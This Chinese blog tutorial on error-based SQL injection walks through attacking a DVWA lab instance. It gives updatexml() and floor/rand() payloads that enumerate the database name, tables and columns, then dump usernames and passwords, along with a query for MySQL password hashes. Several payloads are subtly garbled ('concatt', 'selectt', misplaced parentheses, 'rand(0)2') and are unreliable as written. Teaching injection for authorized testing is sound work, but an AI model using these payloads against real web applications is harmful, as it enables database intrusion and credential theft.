SQL报错注入原理与实战利用讲解

报错注入攻击原理:

在这里插入图片描述
数据库提示错误是指,数据库在执行时,遇到语法不对,会显示报错信息,比如错误语句:select’
在这里插入图片描述
在公司开发项目是通常程序开发期间需要告诉使用者某些报错信息,方便程序员进行调试修复,定位文件错误,而且开发中会经常使用异常处理函数,捕获错误信息,比如在PHP中 使用mysql_error()函数。如果SQL注入存在时,会有报错信息返回就可以采用报错注入进行攻击啦!!!
在这里插入图片描述
在这里插入图片描述
该函数会报错SQL语句
在这里插入图片描述

报错注入攻击:

在用户可控的情况下去输入单引号,如果报错可能存在报错注入,如果拼接SQL语句带入到MySQL执行即在报错注入。
输入1’and info() 显示当前数据库,原理的sql 语句是:
select first_name,last_name from user where user_id = ‘1’ and info()–
会报错显示出当前的数据库不存在这个函数 这样当前库名就显示在页面
语句的意思是在数据中不存在info()的话就会报错,导致当当前库显示出来
在这里插入图片描述

报错注入获取数据库敏感信息:

输入我们构造好的攻击语句进行获取报错返回页面信息数据库
比如:http://192.168.0.115/01/vulnerabilities/sqli/?id=1%27and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))–+&Submit=Submit#
在这里插入图片描述
但是虽然采用了updatexml报错函数但是该函数只能显示32长度的内容,如果获取的内长度超过32则不会显示,然而这时候就需要使用字符串截取方法了,每次能够获取32个字符串的长度。
MySQL有很多函数支持报错:updatexml() ,floor(), extractvalue() linestring() multipolygon() poolygon() multion()等

黑盒测试报错注入:

首先需要获取当前数据库,通过数据库获取表名,接着通过表名获取字段,最后获取字段的数据内容。

报错注入得到库名:

1’ and info()–+
1’ and (updatexml()1,concatt(0x7e,(selectt user()),0x7e,1))–+
就跟前面讲的报错注入攻击一样,测试号后得到库名:dvwa

报错注入获取MySQL账号密码:

获取账号密码需要使用root用户有足够大的权限
select authentication_string from mysql.user limit 1;
在这里插入图片描述

报错注入获取表名:

通过MySQL内置库 information_schema 通过构造SQL语句查询获取表名采用floor报错并不会存在长度问题
查询第一个表名:
1’and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
需要获取第二个表名的话可以在加粗那修改
在这里插入图片描述

报错注入获取字段:

获取到表名就可以接着获取字段了
1’and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=‘users’ LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
需要获取第二个字段的话可以在加粗那修改
在这里插入图片描述

报错注入获取段内容:

1’and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)–+
在这里插入图片描述
注意带
号的

总结:
这次带领大家了解了SQL报错注入详细原理和实际利用,有喜欢的可以点个关注!
我会持续更新质量更好的文章,后面会推出在实战过程中挖掘漏洞技巧的专栏

**声明:**本作者所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本作者不承担相应的后果。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

重生者安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值